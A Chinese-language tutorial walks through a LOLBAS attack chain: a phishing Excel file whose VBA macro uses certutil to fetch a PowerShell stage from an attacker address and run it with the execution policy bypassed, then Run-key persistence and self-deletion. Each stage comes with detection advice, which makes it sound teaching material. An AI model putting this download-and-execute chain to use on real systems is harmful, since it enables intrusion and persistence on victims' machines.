真實攻擊中,LOLBAS 工具很少會單獨使用,
攻擊者會把多個內建工具串連成攻擊鏈,
從初始入侵到持久化潛伏,全程使用合法工具躲避偵測。
所以這篇文章,
我們就一起來把先前所學全部串起來運用吧!
想像你是一個公司的員工,收到了這個財務表格
檔案看起來沒太大問題,
大家通常下意識也會去上面黃黃的那一條把按鈕按下去 XD
那這時候我們的攻擊就成功執行了
一旦點擊「啟用內容」,EXCEL.EXE 中預藏的 VBA 惡意巨集就會被觸發,執行攻擊的第二階段。
EXCEL.EXE
T1566.001 - Spearphishing Attachment / T1204.002 - Malicious File
Alt + F11
進入 VBA 編輯器。ThisWorkbook
並雙擊它。cmd.exe
來執行下一階段的指令。Private Sub Workbook_Open()
Dim command As String
command = "cmd.exe /c certutil.exe -urlcache -f http://192.168.56.1:8080/stage2.ps1 C:\Users\Public\stage2.ps1 && powershell.exe -ExecutionPolicy Bypass -File C:\Users\Public\stage2.ps1"
Shell command, vbHide
End Sub
最關鍵的偵測點是 EXCEL.EXE
的處理程序行為。如果 EDR 偵測到 EXCEL.EXE
嘗試啟動 cmd.exe
、powershell.exe
等子處理程序,就是一個可疑的攻擊訊號。
在 Microsoft Defender 環境中,啟用「Block all Office applications from creating child processes」規則,可以直接從根本上阻斷此類攻擊。
持續進行社交工程演練,教導員工永遠不要輕易相信郵件內容並啟用不明檔案的巨集。
第一階段的 VBA 巨集,功能是執行一個 cmd.exe
命令,命令又可以拆成兩部分:
下載 (Staging):使用 certutil.exe
從攻擊者的伺服器下載第二階段的 PowerShell 腳本 (stage2.ps1
) 到一個所有使用者都可讀寫的目錄 C:\Users\Public\
。
執行 (Execution):立即使用 powershell.exe
執行剛下載的腳本。
cmd.exe
, certutil.exe
, powershell.exe
T1105 - Ingress Tool Transfer / T1059.001 - PowerShell
上一階段的 VBA 已經包含了此階段的 Demo。VBA 會下載並執行一個 PowerShell 腳本,
這邊也放上腳本 (stage2.ps1
) 的內容,它會執行我們攻擊的第三和第四階段。
# stage2.ps1
# 把小算盤加到登錄碼的 Run 機碼中,讓他在使用者下次登入時自動啟動
# 在真實攻擊中,這裡會是放後門程式的地方
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "System Health Monitor" /t REG_SZ /d "C:\Windows\System32\calc.exe" /f
# 刪除下載的腳本檔案
Remove-Item -Path $MyInvocation.MyCommand.Path -Force
certutil.exe
是否帶有 -urlcache
參數執行,以及 powershell.exe
是否帶有 -ExecutionPolicy Bypass
或 -File
參數。certutil.exe
是一個憑證管理工具,它不應該去連線 Gist、Pastebin 或其他非預期的外部網站。第二階段的 stage2.ps1
腳本執行後,
他最主要任務之一就是要去建立持久化後門。
它會使用 reg.exe
(透過 PowerShell 呼叫) 在目前使用者的 Run
登錄碼機碼下,
新增一個叫作 "System Health Monitor" 的項目。explorer.exe
就會在使用者每次登入時自動讀取這個位置並執行其中的命令。
reg.exe
(由 powershell.exe
呼叫), explorer.exe
(開機 Startups 會用到他)T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys
stage2.ps1
腳本中的 reg add
指令就是此階段的 Demo。
執行之後我們來驗證看看:
calc
(或 System Health Monitor
) 的新項目。\CurrentVersion\Run
、\CurrentVersion\RunOnce
等敏感登錄碼機碼的寫入行為。Autoruns
等工具來全面檢視所有持久化位置。在完成持久化設定後,stage2.ps1
腳本做的最後一件事,就是「自我毀滅」,刪除它自己在磁碟上的蹤跡,讓調查人員更難找到攻擊的來源。
Remove-Item
)T1070.004 - File Deletion
stage2.ps1
腳本中的 Remove-Item
指令就是此階段的 Demo。
我們也會發現 C:\Users\Public\stage2.ps1
檔案在執行後就消失了。
-urlcache -f
參數-ExecutionPolicy Bypass
/w:
參數這個攻擊鏈展示了LOLBAS工具如何環環相扣,
從初始的 Excel VBA 到最終的痕跡清理,全程使用合法工具。
防禦關鍵在於監控異常進程鏈和限制關鍵工具執行。
這篇文章也是把之前講過的一些工具串起來,
當然絕對不只有這樣的串法,
也可以去寫一個惡意 DLL 或塞一個 Reverse Shell 來打都是可行的
所以希望大家對於 LOLBAS 的攻擊可以不設限,
也期待看到大家發揮想像力來透過組合完成攻擊!